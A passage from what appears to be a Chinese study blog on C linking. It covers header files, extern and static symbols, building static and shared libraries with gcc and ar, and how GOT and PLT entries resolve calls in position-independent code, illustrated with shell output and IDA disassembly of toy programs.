其一,printf是个变参函数,这一下子就限制了很多人写函数引用,变参函数的函数接口长啥样啊?我也不知道

其二,printf的返回值是啥,int?long?unsigned?size_t?调用约定是啥?__cdecl?__fastcall?即使我记性好,这些都记住了,那么scanf,sprintf,fgetc,fwrite....等等函数的接口又长啥样?难道每次调用一个库函数都要去查手册吗?手册得多厚啊,新华字典见了都怕

在预编译阶段过后,宏定义被展开,此时头文件就完成了自己的使命

奇怪的是,即使我们用到了glibc库中的函数printf

1
2
3
4
5
#include <stdio.h>
int main(){
printf("Helloworld");
return 0;
}

但是在编译链接时,也没有指定printf在哪里实现啊?

1
2
3
4
5
6
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# gcc main.c -o main

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# ./main
Helloworld

按照我们在"链接阶段"举的例子,这里就应该链接报错"undefined reference : 'printf' "

而实际上程序链接地好好的

这是因为,printf 的实现在glibc.so动态库中,而该动态库会被链接器自动且隐式地链接

printf实现所在的源文件去哪了?

源文件被编译成glibc.so动态库了,从一个ASCII文档变成二进制文件了,源文件的灵魂已经装进glibc.so

如果想要看printf源文件怎么实现的,去哪里找呢?

谷歌或者百度glibc-2.9或者其他版本,去官网下载吧

明确分工

在大二上学面向对象C++的时候,曾经费尽心思记什么东西应该写到头文件里,什么东西应该写到源文件里(到考试,到现在也没记住)

其实学了链接时符号解析规则,这些问题根本就不是问题

刚才已经举例说明了,头文件的作用就是声明一下函数接口,起引用作用

头文件可以写函数实现吗

现在基于对链接的了解,考虑头文件里可以写函数实现吗?

貌似可以,并且可以说出歪歪理儿,举一个有模有样的例子:

func.h

1
2
3
int func(){
return 510;
}

main.c

1
2
3
4
5
#include "func.h"
int main(){
int a=func();
return 0;
}

这样gcc main.c -o main不会报错,并且连链接时指定可重定位目标文件或者库文件都省去了,岂不美哉?

当然不会报错,这样写func.h改名为func.balabala都可以,.h后缀妹有意义

实际上相当于写了

main.c

1
2
3
4
5
6
7
int func(){
return 510;
}
int main(){
int a=func();
return 0;
}

这里不报错的原因是,整个编译链接就涉及到两个模块,并且只有main引用了func,这关系简单明了

可如果这样写呢?

func.h

1
2
3
int func(){
return 510;
}

func1.c

1
2
3
4
#include "func.h"
int func1(){
return 2*func();
}

func2.c

1
2
3
4
#include "func.h"
int func2(){
return 4*func();
}

程序入口这样写:

main.c

1
2
3
4
5
6
7
int func1();
int func2();
int main(){
int a=func1(); //要调用func1必然要链接func1.o目标模块
int b=func2(); //要调用func2必然要链接func2.o目标模块
return 0;
}
image-20220525202607308

main中相当于有两个func的定义

使用gcc main.c func1.c func2.c -o prog企图编译链接

1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# gcc main.c func1.c func2.c -o prog
/usr/bin/ld: /tmp/ccb95Wtp.o: in function `func':
func2.c:(.text+0x0): multiple definition of `func'; /tmp/ccAEawPN.o:func1.c:(.text+0x0): first defined here
collect2: error: ld returned 1 exit status

发现编译是可以通过的,报错全是链接错,func有多重定义

为啥会报错呢?

第一次预见func的定义是在func1.c中,竟然在func2.c中又预见了func的定义

实际上相当于写了这么一个程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int func(){					//func第一处定义
return 510;
}
int func1(){
return 2*func();
}
int func(){ //func第二处定义
return 510;
}
int func1(){
return 4*func();
}
int func1();
int func2();
int main(){
int a=func1();
int b=func2();
return 0;
}

func被定义了两次,函数名字和参数表一模一样,不是重载也不是重写,必然会报错

用前面章节的知识解释,函数定义是硬符号,符号解析时硬符号最多有一个,如果链接器发现有两个以上的同名硬符号则报错

有人在往linux内核里添加系统调用的时候就在syscalls.h里面写了内核函数的实现,我不说是谁

那么为了防止上述多重定义的情况发生,应该怎么办呢?

不允许多重定义,还能不允许多重引用吗?

头文件里只写函数声明或者说函数接口,源文件里写函数实现呗

正确写法
main.c
1
2
3
4
5
6
7
#include "func1.h"		//main中只引用了func1和func2,妹有引用func,因此不用#include <func.h>
#include "func2.h"
int main(){
int a=func1();
int b=func2();
return 0;
}
func.h & func.c

func.h

1
2
3
4
#ifndef FUNC		//如果妹有定义FUNC符号才拓展该宏,条件展开发生在预编译时期
#define FUNC
int func();
#endif

func.c

1
2
3
4
5
#include "func.h"	//引用func.h的作用是,在预编译阶段把int func()搞进来,
//实际上由于只有一个函数,并且接口简单,不使用头文件都可以.规范期间还是使用头文件
int func(){
return 510;
}
func1.h & func1.c

func1.h

1
2
3
4
5
#ifndef FUNC1
#define FUNC1
int func1(); //虽然func1中会引用func,但头文件中不写include <func.h>,因为头文件就只是提供该模块中函数的引用,
//具体函数实现中引用了什么其他家的花草,头文件并不关心
#endif

func1.c

1
2
3
4
5
#include "func1.h"					//这里两个头的include先后顺序无所谓,反正都是引用
#include "func.h"
int func1(){
return 2*func();
}
func2.h & func2.c

func2.h

1
2
3
4
#ifndef FUNC2
#define FUNC2
int func2();
#endif

func2.c

1
2
3
4
5
#include "func.h"
#include "func2.h"
int func2(){
return 4*func();
}
通过链接
1
2
3
4
5
6
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# gcc func1.c func.c main.c func2.c -o prog #这里源文件的先后顺序妹有区别,但是一定要写全需要的源文件
#编译链接成功
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# ./prog #运行

头文件可以写全局变量吗

还是以geometry的例子(见下文静态库->使用静态库),假如在geometry.h中,我们定义了一个全局变量PI

geometry.h

1
2
3
4
5
#ifndef GEOMETRY
#define GEOMETRY
const double PI=3.1415926;
...
#endif

我们的目的是,只要引用了该头文件就可以直接使用PI,比如

main.c中:

1
2
3
4
5
6
#include "geometry.h"
int main(){
...
int pi=PI; //试图阔的PI的拷贝
return 0;
}

结果却报告链接错误了

1
2
3
4
5
6
7
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─$ ./makedynamiclib.sh
/usr/bin/ld: /tmp/cc9eI8oy.o:(.rodata+0x0): multiple definition of `PI'; /tmp/cci0ubCp.o:(.rodata+0x0): first defined here
collect2: error: ld returned 1 exit status
/usr/bin/ld: cannot find ./libgeometry.so: No such file or directory
collect2: error: ld returned 1 exit status
./makedynamiclib.sh: line 5: ./prog: No such file or directory

意思是PI有多重定义了

为啥会报链接错:有多重定义?

line.cpoint.c,main.c中都有#include "geometry.h"

前面我们也分析了头文件的作用,头文件中的东西在预编译宏展开之后会直接加到源文件前面.

那么预编译之后,line.i,point.i,main.i中各有一次const double PI=3.1415926的定义,这是硬符号,然后三个文件都被编译成可重定位目标文件.o准备链接

链接时同名的全局符号只允许有至多一个硬符号,而对于PI符号,链接器可以发现两个(找到第二个就报错了,不管第三个了)因此报链接错,多重定义

可是我们头文件中宏定义是条件展开的啊,已经定义过就不会被定义了啊?

考虑宏定义的展开是在预编译阶段,远没到链接,等到链接的时候,早就都展开了 .条件展开的作用是防止同一个头文件被多次include

比如

1
2
#include <stdio.h>
#include <cstdio>

这两个头文件是包含关系,完全可以只#include <cstdio>,但是这时#include <stdio.h>之后再#include <cstdio>时,会引入<cstdio>中除了包含的的<stdio.h>之外的其他内容.当然,如果再引入一遍<stdio.h>也不会报错,因为都是引用

但是有时候去重的作用就很重要,比如"a.h"中会#include "b.h"同理"b.h"#include "a.h",即两个头文件会互相引入,如果此时不使用条件展开去重,则预编译器会不停引入两个文件,直到崩溃

正确写法
方法一:宏定义PI

geometry.h

1
2
3
4
5
#ifndef GEOMETRY
#define GEOMETRY
#define PI 3.1415926
....
#endif

这也是glibc库的头文件中使用的方法

比如stdio.h

1
2
3
4
5
#define BUFSIZ 512
#define _NFILE _NSTREAM_
#define _NSTREAM_ 512
#define _IOB_ENTRIES 20
#define EOF (-1)

我们自己写一个main.c,#include <stdio.h>之后就可以直接使用这些宏定义

为什么可以使用宏定义呢?

各组成模块宏定义展开之后可能会有多条同样的宏定义,宏定义允许多次定义,在调用时使用最后一次的宏定义

比如

1
2
3
4
5
6
7
8
9
10
#include <iostream>
#define PI 3.14
#define PI 3.142
#define PI 3.1416
#define PI 3.1415926
using namespace std;
int main() {
cout << PI;
return 0;
}

运行结果

1
3.14159

但是会报告编译警告

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
testGlobal.c:3: warning: "PI" redefined
3 | #define PI 3.142
|
testGlobal.c:2: note: this is the location of the previous definition
2 | #define PI 3.14
|
testGlobal.c:4: warning: "PI" redefined
4 | #define PI 3.1416
|
testGlobal.c:3: note: this is the location of the previous definition
3 | #define PI 3.142
|
testGlobal.c:5: warning: "PI" redefined
5 | #define PI 3.14159
|
testGlobal.c:4: note: this is the location of the previous definition
4 | #define PI 3.1416
|

而如果多次宏定义一模一样

1
2
3
4
#define PI 3.14
#define PI 3.14
#define PI 3.14
#define PI 3.14

则不会报告编译警告

方法二:使用extern引用

比如在point.c中全局位置写入const double PI=3.1415926;

main函数中要使用PI值,那么在main.c中找一个使用PI之前的位置(不管是局部还是全局位置),extern double PI;

作用是,声明一下PI是一个外部符号(本模块中妹有定义),编译时产生一个引用,至于引用的解析,让链接器去找

实际上用extern声明一个变量和声明一个函数引用的作用是类似的,都是声明引用.

但是为啥函数引用不用extern声明,但是变量就一定得用extern声明呢?

函数只要不写函数体,在参数表小括号后面一个分号,立刻就可以断定这是一个函数引用.

而全局变量即使不赋值直接写分号,int a;编译器就认为这是一个应该放在.bss节的本模块中的数据.为了突出是个引用,因此使用extern关键字

extern的作用

如果一个程序这样写

1
2
3
4
5
6
7
8
#include <iostream>
using namespace std;
double PI; //试图声明一个引用,并在main函数之后赋值
int main() {
cout << PI;
return 0;
}
double PI = 3.14;

会报错[注解] 'double PI' previously 被声明于此处.同一个模块中存在多重定义了

正确的写法应该是

1
2
3
4
5
6
7
8
#include <iostream>
using namespace std;
extern double PI;
int main() {
cout << PI;
return 0;
}
double PI = 3.14;

运行结果:3.14

对于函数

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <iostream>
using namespace std;
void func();
extern void func();//这两种写法都可以

int main() {
func();
return 0;
}

void func() { //实现
cout << "helloworld";
}
1
2
<fcntl.h>
extern int open (__const char *__file, int __oflag, ...) __nonnull ((1));
extern double PI;能否写入头文件

既然可以将extern double PI;写入main.c,那么写入geometry.h不一样吗?被main.c引入之后不就相当于在main.c中写了这句吗

这样写可以通过编译链接,感觉上妹有问题,但是用CLion搜索了整个glibc库,所有头文件中都没有这么写,只在configure.in中有这么一句

1
extern int glibc_conftest_frobozz;
静态变量

静态变量的作用是,将"全局位置"的变量的访问权限限定在本模块中.

啥意思呢?

point.c

1
2
3
4
5
6
7
8
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include "geometry.h"
//全局位置
//const double PI=3.1415926; //真·全局变量
static const double PI=3.1415926; //假·全局变量
...

static修饰的变量即使放在本模块的"全局位置",也是相对于本模块中的函数而言的"全局位置"

此时如果在main.c中想要使用PI

1
2
3
4
5
6
7
8
#include "geometry.h"
....
extern const double PI; //声明PI引用,让链接器去解析
int main(){
....
int pi=PI; //试图使用引用
return 0;
}

然而此时会报链接错

1
2
3
4
5
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─$ ./makedynamiclib.sh
/usr/bin/ld: /tmp/ccSIplb4.o: warning: relocation against `PI' in read-only section `.text'
/usr/bin/ld: /tmp/ccSIplb4.o: in function `main':
main.c:(.text+0xd7): undefined reference to `PI'

static修饰的变量就类似于java和C++中private修饰的变量

只不过static限制模块之间的访问权限

private限制类之间的访问权限

这是两种编程范式,模块化编程和面向对象编程

静态库.a

静态库static library实际上是一伙子可重定位目标模块.o的集合

起源

现在假设我们一个工程有成百上千个目标模块.o,

在其中一个目标模块引用了其他若干个目标模块中的符号.

如果引用的其他目标模块不多,尚且看不出问题,只需要gcc main.o module1.o module2. ... -o prog即可完成链接

如果引用的其他目标模块成百上千,那么可以想象到gcc main.o module1.o module2. ... -o prog这条编译命令能有多长

"可以编写makefile完成链接"

即使用makefile,还是存在难以解决的问题

引用的符号在哪个模块里,是在module1.o还是在module2.o?程序员记得住吗?每次编译都要查表吗?

静态库也是可重定位目标文件.o吗?

最容易想到的是,将一些工具性质的,经常被调用的一些目标模块,编译成一个大目标模块.o,注意还是可重定位目标模块.o

当程序员自己写一个源文件test.c并编译成目标模块test.o,其中要用到一些库函数时,只需要将刚才生成的大.o文件链接进来

诚如是,则链接时该包含成千上万函数的大.o文件将会在运行时全部加载进入进程的地址空间,即使test.o只引用到了一个或者几个函数.

这就好比要去图书馆接一本书,却把图书馆整个儿搬回家了

能不能真正像借书一样,用到哪本书拿哪本,用到一个函数就只加载该函数所在的模块?

于是归档文件(archieve).a产生了,即静态库

.o可重定位目标模块可能是静态库.a的组成,也可能是源代码test.c编译后链接前的中间文件.也就是说,.o中有可能有程序的入口点main函数.

.a作为一个库文件,只能起到支持的作用,它就相当于一个服务器被动地给客户端服务.也就是说,只有用户的程序中有入口点,.a是不会主动执行的.直接试图将静态库编译链接为可执行目标文件是不可能的,因为库中没有main函数

使用静态库ar rcs <静态库名>.a <组成目标1>.o <组成目标2>.o ....

举一个比较有实际意义的例子,模拟平面几何中的点和线

工作目录下有五个文件

1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# ls -l
total 4
-rwxrwxrwx 1 kali kali 731 May 25 21:57 geometry.h
-rwxrwxrwx 1 kali kali 667 May 25 22:02 line.c
-rwxrwxrwx 1 kali kali 285 May 25 21:26 main.c
-rwxrwxrwx 1 kali kali 520 May 25 21:57 point.c
-rwxrwxrwx 1 kali kali 140 May 25 22:03 shellscript.sh
geometry.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#ifndef GEOMETRY
#define GEOMETRY
typedef struct{ //点结构体
double x;
double y;
}Point;
double getEuclideanDistance(Point,Point); //计算两点之间的欧几里得距离
double getManhattanDistance(Point,Point); //计算两点之间的曼哈顿距离
Point newPoint(double,double); //构造新点
void showPoint(Point); //打印点坐标

typedef struct{ //线结构体
Point a;
Point b;
}Line;
double getLength(Line); //计算线段长
double getSlope(Line); //计算斜率
int isParallel(Line,Line); //判断平行
Line newLine(Point,Point); //构造新线段
void showLine(Line); //打印线两端点
#endif

这里面的函数声明被分在两个源文件实现,point.c实现有关点计算的函数,line.c实现有关线计算的函数

point.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include "geometry.h" //引入符号
// typedef struct{
// double x;
// double y;
// }Point;
double getEuclideanDistance(Point a,Point b){
return sqrt((a.x-b.x)*(a.x-b.x)+(a.y-b.y)*(a.y-b.y));
}
double getManhattanDistance(Point a,Point b){
return abs(a.x-b.x)+abs(a.y-b.y);
}
Point newPoint(double x,double y){
Point a;
a.x=x;
a.y=y;
return a;
}
void showPoint(Point p){
printf("(%.2f,%.2f)",p.x,p.y);
}
line.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include "geometry.h" //引入符号
// typedef struct{
// Point a;
// Point b;
// }Line;
double getLength(Line L){
return getEuclideanDistance(L.a,L.b); //此处要用到计算欧几里得距离的函数,其实现在point.c中
}
double getSlope(Line L){
return 1.0*(L.a.y-L.b.y)/(L.a.x-L.b.x);
}
int isParallel(Line L1,Line L2){
return abs(getSlope(L1)-getSlope(L2))<0.001; //控制精度为0.001
}
Line newLine(Point a,Point b){
Line L;
L.a=a;
L.b=b;
return L;
}

void showLine(Line L){
printf("[(%.2f,%2f)(%.2f,%.2f)]",L.a.x,L.a.y,L.b.x,L.b.y);
}
main.c
1
2
3
4
5
6
7
8
9
10
11
#include "geometry.h"
#include <stdio.h>
int main(){
Point a=newPoint(4,5);
Point b=newPoint(2,3);
double euclidean_distance=getEuclideanDistance(a,b);
printf("euclidean_distance=%.2f\n",euclidean_distance);
showPoint(a);
showPoint(b);
return 0;
}

注意main函数中只用到了和点有关的函数,与线有关的函数一个也妹有用到

下面编写bash脚本进行编译,制作静态库,链接,运行

shellscript.sh
1
2
3
4
5
6
gcc point.c -c -o point.o
gcc line.c -c -o line.o
ar rcs libgeometry.a point.o line.o #创建静态库

gcc -static main.c -L. -lgeometry -lm -o prog
./prog

执行该shell脚本

1
2
3
4
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# ./shellscript.sh
euclidean_distance=2.83
(4.00,5.00)(2.00,3.00)

同时在工作目录下生成了

1
2
3
4
libgeometry.a
line.o
point.o
prog

这么几个文件

现在好奇的是,这个libgeometry.a到底有没有用啥拿啥的功能,也就是说,line.o有没有被链接进入可执行目标文件prog.用ida64打开prog,搜一下function看看newLine函数存不存在即可

image-20220525221037808

结果证明它不存在,也就是说line.o妹有链接进入prog

还有就是main中妹有用到point.c中的getManhattanDistance函数,它有没有随着point.o一起被链接进入prog呢?

image-20220525221208601

事实上是有的,也就是说,从归档文件.a中用啥拿啥是以模块为单位的,而不是以函数为单位的,

归档文件中的一个模块,不管有多少个函数,只要有其中之一被引用,该模块中的所有函数都会随着该模块链接进入可执行目标文件

.a如何链接

前面章节中符号解析重定位等等都是.o的链接方法.现在对于一个静态库.a,应该如何链接呢?

1.当输入gcc f1 f2 ... fn之后,编译器首先将各个源文件编译为可重定位目标文件.o,已经是.o或者.a文件则跳过不编译,得到一个全都是.o或者.a的参数序列

2.链接器从左向右扫描这些.o或者.a文件,这两种文件有不同的待遇.

链接器会维护三个集合:

可重定位目标文件集合E

未解析符号集合U(undefined)

已定义符号集合D(defined)

3.如果链接器当前扫描到的文件是一个.o,则

本.o文件添加到E集合

本.o文件中的定义放到D集合

本.o文件中的引用放到U集合

4.如果链接器当前扫描到的文件是一个.a,则

遍历本.a文件中所有组成模块,寻找U中引用的定义模块,

如果找到则将该模块放到E,将该引用从U中去掉,将定义放到D中

遍历完后本.a文件不再发挥作用

5.当链接器扫描完了参数,此时检查U集合是否为空

如果U非空则有未解析的引用,报错undefined reference

如果U为空则连接成功,合并并重定位E中的模块,形成可执行目标文件

链接结束

注意第4条最后的"遍历完后本.a文件不再发挥作用"

这就要求命令行上的参数有顺序了

如果都是.o妹有.a,则所有.o的所有定义和引用都会被放在D和U中,不怕有遗漏的定义

但是如果有.a,则链接器扫描.a时,只负责解析先前存在在U中的引用,后面的目标模块它现在看都不看

比如假如参数序列是这样的:gcc a.o b.o lib.a c.o

其中a,b,c中都有lib.a中的引用,并且

a.o引用了lib.a中的a模块,

b.o引用了lib.a中的b模块,

c.o引用了lib.a中的c模块,

当链接器扫描到lib.a时,链接器会依据lib.a,解析a.ob.o中的引用,但是链接器此时并不知道后面还有啥参数,在用lib.a解析了a.ob.o之后就丢弃了lib.a的其他部分,

然后扫描c.o又有了新的引用,而此时链接器已经扫描到头了,找不到一个能给出定义的模块了

链接出错

这样设计虽然会因为顺序问题导致链接出错,但是注意一下或者多写几遍.a就可以克服.并且能够做到尽量少引入目标模块,非用不引.并且时间最优

动态库.so

动态库又叫做共享目标文件

起源

静态库的缺点:

试想现在要同时运行多个进程,每个进程都要调用库函数printf,按照静态库的链接方法,每个进程的虚拟地址空间都会有一个printf 的拷贝,并且会物理地址空间上建立相应物理页

而实际上printf就是一段只读的代码,给定参数就可以当作黑盒用.

就像办公室的打印机,不同的用户只需要给定自己想要打印的材料,用同一台打印机就可以获得不同的输出

在兼容静态库拿啥用啥的思想上,让只读的代码和数据不需要有多份拷贝,一份足矣,这就是动态库的思想.

动态库在运行或加载时,可以加载到任意地址

在linux上动态库后缀.so,在windows上动态库后缀.dll

动态库的链接

image-20220526001100718

在链接阶段,动态库传递给链接器的只有重定位和符号表信息,并没有让只读代码段参与链接.

啥时候动态库中的只读代码才会参与链接呢?在执行过程中,首次用到了动态库中的引用时,不得不动态加载了,此时动态链接器才会将动态库映射到进程的地址空间,并进行重定位让悬空引用落地

这个过程我没有亲眼见证,都是道听途说,暂且认为它是这样的

为了让不同的进程都能将共享库的物理地址空间映射到自己的虚拟地址空间,有好多种办法

1.物理地址空间为共享库专门留出空间,一个萝卜一个坑,就算妹有萝卜,坑也得留着,其他代码数据都往后稍稍.用到该共享库的时候就一定加载到给他预留的物理地址空间.

缺点是,程序不一定会用到该共享库,或者程序刚开始时只用到该共享库的一小部分代码,共享库只有一小部分加载进入物理地址空间.然后是其他代码,占用了为共享库预留的剩余空间,现在又要调用共享库中的其他代码,这时一开始预留的空间已经被占用,不够用了.又得重新找一个空旷的地方放动态库.这样重复多了,物理地址空间就变得呲离破碎,全是下脚料空间

这可能比静态库还要浪费物理内存,这不就废了吗

2.位置无关代码

动态库可以任意加载进入物理地址空间,由动态链接器完成程序中动态库引用的解析

使用动态库

还是使用静态库时举的geometry的例子

makedynamiclib.sh

1
2
3
4
5
gcc -shared -fpic -o libgeometry.so line.c point.c  #制作代码位置无关的共享库libgeometry.so

gcc main.c ./libgeometry.so -lm -o prog

./prog
1
2
3
4
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/linkage]
└─# ./makedynamiclib.sh
euclidean_distance=2.83
(4.00,5.00)(2.00,3.00)

同时在工作目录下生成了

1
2
libgeometry.so
prog

两个目标文件

使用ida64打开prog观察,发现函数少的可怜

image-20220526093938243

并且可以发现,在point.c中定义的getManhattanDistance并没有被解析.

即,使用动态库时引用解析是以函数为单位的,相对于以模块为单位进行解析的静态库更加灵活

getEuclideanDistance为例,观察该函数引用是如何被解析的

main函数中

1
.text:00000000000011EB                 call    _getEuclideanDistance

跟踪_getEuclideanDistance

1
2
3
.plt:0000000000001060 _getEuclideanDistance proc near         ; CODE XREF: main+82↓p
.plt:0000000000001060 jmp cs:off_4030
.plt:0000000000001060 _getEuclideanDistance endp

跟踪cs:off_4030

1
2
3
4
.got.plt:0000000000004030 off_4030        dq offset getEuclideanDistance
.got.plt:0000000000004030 ; DATA XREF: _getEuclideanDistance↑r
.got.plt:0000000000004030 _got_plt ends
.got.plt:0000000000004030

跟踪offset getEuclideanDistance

1
2
3
extern:0000000000004078                 extrn getEuclideanDistance:near
extern:0000000000004078 ; CODE XREF: _getEuclideanDistance↑j
extern:0000000000004078 ; DATA XREF: .got.plt:off_4030↑o

此时已经跟踪到头了,点谁都不会跳转了.但是自始至终妹有看见该函数的实现,好像一直在踢皮球

这涉及到位置无关代码PIC的理论

位置无关代码PIC

Position-Independent Code

共享库在编译时要求必须使用位置无关选项-fpic

PIC数据引用

全局偏移量表global offset table,GOT

GOT位于数据段的开始

编译时使用-static选项得到的可执行目标文件中是妹有GOT表的

只有使用位置无关代码的动态链接才会生成GOT表,即使就写一个空壳子main函数啥也不干,什么头文件也不导入,动态链接之后的可执行目标文件也是会有GOT的

GOT表结构:

GOT表项八字节一个,表项内容是引用指向的地址,即一个位置无关代码在运行时的实际地址

为什么是八字节?

八个字节即64位,考虑进程的虚拟地址空间有64位吗?

图片来自Linux内存管理:虚拟地址空间 - 知乎 (zhihu.com)

用户的虚拟地址空间只有48位,从0x00xFFFF FFFF FFFF

内核的虚拟地址空间也是48位,从0xFFFF 0000 0000 00000xFFFF FFFF FFFF FFFF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Start                 End                     Size            Use
-----------------------------------------------------------------------
0000000000000000 0000ffffffffffff 256TB user
ffff000000000000 ffff7fffffffffff 128TB kernel logical memory map
ffff800000000000 ffff9fffffffffff 32TB kasan shadow region
ffffa00000000000 ffffa00007ffffff 128MB bpf jit region
ffffa00008000000 ffffa0000fffffff 128MB modules
ffffa00010000000 fffffdffbffeffff ~93TB vmalloc
fffffdffbfff0000 fffffdfffe5f8fff ~998MB [guard region]
fffffdfffe5f9000 fffffdfffe9fffff 4124KB fixed mappings
fffffdfffea00000 fffffdfffebfffff 2MB [guard region]
fffffdfffec00000 fffffdffffbfffff 16MB PCI I/O space
fffffdffffc00000 fffffdffffdfffff 2MB [guard region]
fffffdffffe00000 ffffffffffdfffff 2TB vmemmap
ffffffffffe00000 ffffffffffffffff 2MB [guard region]

如果GOT表项可以指向一个内核中的函数或者变量,则显然需要8字节的表项,

如果GOT表项只是指向用户模块中的变量或者函数,则只需要6字节(48位)的表项

因此问题转化为一个进程是否会访问内核

显然是可以的,比如系统调用

GOT表怎么干活的?

CSAPP上举了这么一个例子

image-20220526192907137

一定时刻记住以下几点:

1.代码段是c源代码经过编译得到的,与链接无关

2.本模块中引用了一个位于其它模块中的符号addcnt,本模块中妹有定义,因此编译器会为其生成一个GOT表项,又从代码段到数据段GOT的跳转需要重定位,因此汇编器会生成一个重定位条目,为静态链接器(相对动态链接器的说法)进行重定位做准备

3.编译阶段是不知道GOT表在哪里的(即使GOT表和代码段在同一模块中),汇编器只会生成重定位条目

4.静态链接阶段才会将代码段中对GOT的引用重定位,

5.静态链接后,在代码段只需要对GOT表的PC相对寻址,在实际运行时,由动态链接器去实际填充该表项应该指向的地址

注意这里有两次引用,一是代码段引用数据段的GOT表,二是GOT表引用其他模块中的符号

GOT表的存在,相当于编译器和静态链接器给动态链接器减轻了负担,动态链接器不需要去代码段找需要解析的引用,只需要看看数据段的开头,就知道哪些引用需要解析

至于动态链接器是个啥,怎么工作的,现在不关心,就当是一个黑盒,它在程序运行阶段发挥作用,结果是给GOT表中的引用找到实际地址,填充到GOT表项

1
2
R[%rax]<---R[%rip]+0x2008b9=&GOT[3]		//主存中GOT[3]的地址放到rax寄存器中
M[R[%rax]]=M[R[%rip]+0x2008b9]=M[%GOT[3]]<---M[%GOT[3]]+1 //解引用后+1再放回去
PIC函数调用

GOT和PLT协作

CSAPP教材上给出了看起来不长,却信息量巨大的图文,下面就这一段文字进行解读

image-20220526201953361
·过程链接表(PLT)

1.PLT是一个数组,其中每个条目都是16字节的代码.

PLT表:

1
2
3
4
5
6
7
.plt:0000000000001020
.plt:0000000000001020 ; Segment type: Pure code ;段类型:纯代码
.plt:0000000000001020 ; Segment permissions: Read/Execute ;段权限:读/执行/不可写
.plt:0000000000001020 _plt segment para public 'CODE' use64
.plt:0000000000001020 assume cs:_plt ;令cs段寄存器指向plt段
.plt:0000000000001020 ;org 1020h
.plt:0000000000001020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

PLT表的表项16字节一个,表项内容是代码(指令)

比如:

1
2
3
4
5
6
7
8
;6字节
.plt:0000000000001030 _isPrime proc near ; CODE XREF: main+D↓p
.plt:0000000000001030 FF 25 E2 2F 00 00 jmp cs:off_4018
.plt:0000000000001030 _isPrime endp

;10字节
.plt:0000000000001036 68 00 00 00 00 push 0
.plt:000000000000103B E9 E0 FF FF FF jmp sub_1020

为什么是16字节?

有些指令长,有些指令短,有些plt条目中有多条指令

16字节应该是存在的最长的plt表项

2.PLT[0]是一个特殊条目,它跳转到动态链接器中.

1.动态链接器本身就是一个动态库中的函数,是位置无关代码.因此也需要借助GOT和PLT表跳转.

2.PLT表中不只有用户显示引用的动态库中的函数,还有用户妹有显示引用却不可或缺的动态库函数,比如动态链接器

3.每个被可执行程序调用的库函数都有自己的PLT表条目.每个条目都负责一个具体的函数

不光调用glibc.so动态库中的函数比如printf时有PLT条目,调用自定义的动态库也会有PLT条目

main.c

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
extern int isPrime(int);//isPrime为自定义动态库libfunc.so中的函数
int main(){
int ans=isPrime(510);
printf("%d",ans); //printf为glibc.so中的函数
return 0;
}

func.c

1
2
3
int isPrime(int a){
return a&1;
}

制作动态库并链接,执行

1
2
3
gcc -shared -fpic -o libfunc.so func.c

gcc -g main.c ./libfunc.so -O0 -o prog

使用ida64打开prog观察反汇编视图

1
2
3
4
5
6
7
8
.plt:0000000000001030 ; int printf(const char *format, ...)
.plt:0000000000001030 _printf proc near ; CODE XREF: main+29↓p
.plt:0000000000001030 jmp cs:off_4018
.plt:0000000000001030 _printf endp
...
.plt:0000000000001040 _isPrime proc near ; CODE XREF: main+D↓p
.plt:0000000000001040 jmp cs:off_4020
.plt:0000000000001040 _isPrime endp

都生成了plt条目

·全局偏移量表(GOT)

初始时,每个GOT条目都对应PLT条目的第二条指令

这其实不是GOT的特性了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
main.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <main>:
0: 55 push %rbp
1: 48 89 e5 mov %rsp,%rbp
4: 48 83 ec 10 sub $0x10,%rsp
8: bf fe 01 00 00 mov $0x1fe,%edi
d: e8 00 00 00 00 call 12 <main+0x12> //此处call的地址就在下一行啊
12: 89 45 fc mov %eax,-0x4(%rbp)
15: 8b 45 fc mov -0x4(%rbp),%eax
18: 89 c6 mov %eax,%esi
1a: 48 8d 05 00 00 00 00 lea 0x0(%rip),%rax # 21 <main+0x21>
21: 48 89 c7 mov %rax,%rdi
24: b8 00 00 00 00 mov $0x0,%eax
29: e8 00 00 00 00 call 2e <main+0x2e>//此处call的地址就在下一行
2e: b8 00 00 00 00 mov $0x0,%eax
33: c9 leave
34: c3 ret

由于编译器和静态链接器不能决定引用函数的具体地址,因此他俩只能摆烂.

动态链接器会把GOT指向的地址修改为动态库函数地址

举个例子

CSAPP举的例子

image-20220526211008954
首次调用addvec

1.callq 0x4005c0 #call addvec()

该指令执行时会将该call指令的后一条指令的地址作为返回时的地址压栈,然后置PC=0x0x4005c0,然后转移控制

2.0x4005c0 jmpq *GOT[4]

这里*GOT[4]不是汇编语言的写法,是编者方便读者理解,使用了C语言中数组的表示方法

这里的意思是,跳转到GOT[4]指向的地址(即GOT[4]表项中存放的地址),而不是跳转到GOT[4]的地址

实际上是这种写法:

1
2
